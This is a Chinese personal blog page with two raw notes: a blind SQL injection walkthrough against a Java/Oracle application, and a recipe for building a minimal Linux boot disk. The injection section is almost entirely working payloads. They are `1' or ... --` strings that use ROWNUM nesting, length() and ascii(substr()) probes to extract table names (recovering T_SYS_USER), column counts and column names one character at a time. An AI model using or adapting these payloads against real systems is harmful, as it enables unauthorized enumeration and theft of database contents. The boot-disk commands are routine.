| Dec0y's profile蜗牛的轨迹PhotosBlogLists | Help |
|
April 03 SQLInject(Java+Oracle)
SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where TABLE_NAME like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1
1' or 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --
select nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) from user_tables
确定还有USER的第一个用户表的长度:
1' or 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) -- 1' or 25<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --
确定还有USER的第二个用户表的长度: 1' or 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --
确定第一个用户表名称的第一个字母:
1' or ascii('T')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))--
确定第二个用户表名称的第二个字母:
1' or ascii('T')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))--
确定第三个用户表名称的第1个字母:
1' or ascii('T')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))-- 1' or ascii('_')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))--
T_SYS_USER
1' or 0<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)
确定第三个用户表列的个数: 1' or 11=nvl((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME='T_SYS_USER'),0)--
1' or 11=nvl((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME='T_SYS_USER'),0)--
确定第三个用户表第一列列名的长度:
1' or 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0) -- 1' or 8=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0) --
确定第三个用户表第一列列名的第一个字母: 1' or ascii('A')=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1)) --
确定第三个用户表第一列列名的第2个字母: 1' or ascii('S')=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1)) --
Mini LinuxNo network support!!! Only have a base file system! dd if=/dev/zero of=fsfile bs=1k count=4096 mke2fs -m 0 -N 2000 ./fsfile mount -o loop -t ext2 fsfile /mnt/ cd /mnt mkdir dev cp -dpR /dev/tty[0-6] /mnt/dev/ cp -dpR /dev/fd[01]* /mnt/dev/ cp -dpR /dev/console /mnt/dev/ cp -dpR /dev/kmem /mnt/dev/ cp -dpR /dev/mem /mnt/dev/ cp -dpR /dev/null /mnt/dev/ cp -dpR /dev/ram0 /mnt/dev/ mkdir etc mkdir rc.d touch fstab touch inittab touch gettydefs cp /etc/passwd . cp /etc/ group . cp /etc/ shadow . cp /etc/termcap . vi /mnt/etc/rc #!/bin/sh /bin/mount -av /bin/hostname dec0y vi /mnt/etc/fstab /dev/ram0 / ext2 defaults /dev/fd0 / ext2 defaults /proc /proc proc defaults vi /mnt/etc/inittab id:2:initdefault: si::sysinit:/etc/rc 1:2345:respawn:/sbin/getty 9600 tty1 2:23:respawn:/sbin/getty 9600 tty2 mkdir /mnt/lib cp -R /lib/ld-* . cp -R /lib/libdl* . cp -R /lib/libc* . umount /mnt dd if=fsfile bs=1k | gzip -v9 > fsfile.gz dd if=/dev/zero of=bootdisk bs=1k count=2880 mkfs.msdos bootdisk mount -o loop -t msdos bootdisk /mnt/ syslinux -s vi /mnt/syslinux.cfg display display.txt default linux timeout 10 prompt 1 label linux kernel linux append initrd=fsfile.gz root=/dev/ram0 ramdisk_size=5120 mount -o loop -t ext2 fsfile /mnt dd if=fsfile bs=1k | gzip -v9 > fsfile.gz mount -o loop -t msdos bootdisk /mnt/ cp fsfile.gz /mnt/ 蜜罐
|
|
|